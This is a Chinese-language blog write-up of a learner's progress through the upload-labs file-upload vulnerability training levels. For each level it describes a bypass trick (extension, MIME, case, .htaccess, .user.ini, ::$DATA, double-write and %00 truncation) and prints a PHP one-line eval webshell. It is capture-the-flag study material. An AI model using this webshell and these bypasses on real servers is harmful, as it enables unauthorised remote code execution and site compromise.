wmm的学习日记(upload-labs)

这个星期学习了文件上传漏洞,为了更好的理解他,尝试做了一些题目。记录一下~~~嘻嘻

目录

Pass-01(js前端绕过)

Pass-02(MIME文件头)

Pass-03(后端后缀绕过)

Pass-04 (.htassess)

Pass-05 (.user.ini)

Pass-06(大小绕过)

Pass-07(空格绕过)

Pass-08(文件尾加.绕过)

Pass-09(window下的::$DATA)

Pass-10(. .绕过)

Pass-11(双写绕过)

Pass-12(白名单和00截断)

Pass-13


 

Pass-01(js前端绕过)

 第一步,尝试上传一句话木马并查看流量,发现没有流量而且文件被过滤了,应该是客户端过滤

 第二步,在设置中关闭js再次上传,借此绕过前端的过滤,重新上传,发现上传成功

 第三步,查看打开上传文件,查看源码,发现不能查看源码,代表文件已经被解析了,用蚁剑连接得到flag

 Pass-02(MIME文件头)

第一步,尝试上传1.php,并查看是否有流量,发现不是前端过滤,尝试修改后缀发现php3,php5,phtml都不行

 第二步,猜测是MIME,修改Content-Type为image/jpeg,发现文件上传成功

 第三步,查看上传文件的页码源码,发现没有内容表示文件被解析了,用蚁剑连接得到flag

 Pass-03(后端后缀绕过)

第一步,上传文件并判断是否为前端过滤,发现并不是,要求不能含有.php

第二步,尝试修改后缀绕过,发现为php3时可以成功上传 

第三步,发现文件被解析后用蚁剑连接

Pass-04 (.htassess)

第一步,上传文件并排除前端绕过,回显表示不允许php文件上传

第二步,尝试修改后缀发现当后缀为jpg时文件上传成功 

 第三步,查看上传文件的页面源码,发现有内容,表示文件没有被解析

 第四步,先上传.htaccess文件,在上传1.jpg,就会发现1.jpg被解析了,用蚁剑连接

SetHandler application/x-httpd-php

Pass-05 (.user.ini)

提示表示上传目录下存在readme.php,我们可以上传.user.ini将1.jpg包含在readme.php内,当readme.php运行时也运行1.php 

先上传.user.ini

auto_prepend_file=1.jpg

 再上传1.jpg

<?php @eval($_POST['wmm']);?>

用蚁剑连接readme.php 

 Pass-06(大小绕过)

尝试了各种方法没想到居然是大小写绕过

 Pass-07(空格绕过)

尝试了各种方法发现居然是空格绕过,观察源码与前几题的差别,发现没有给首尾去空

Pass-08(文件尾加.绕过)

看了网页源码发现没有删除文件末尾的点

 Pass-09(window下的::$DATA)

这关的重点是没有过滤::$DATA,在window系统下如果上传文件尾后加上::$DATA会把上传文件当作数据流处理,不会过滤后缀,但是会保存为文件

查看upload文件夹发现多了一个php文件,用蚁剑连接 

 Pass-10(. .绕过)

Pass-11(双写绕过)

上传1.php发现上传成功,但是上传为1.,过滤了php,上传的文件也没有被解析

猜测替换了php为空,双写绕过,上传1.pphphp,发现上传成功 ,而且被解析了

Pass-12(白名单和00截断)

上传1.jpg发现上传后网址会多一个斜杠,应该是拼接

 查看了源码之后发现save_path动态传参,传入参数为./upload/1.php%00,用%00截断

 Pass-13

和前一题类似,用POST传参

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值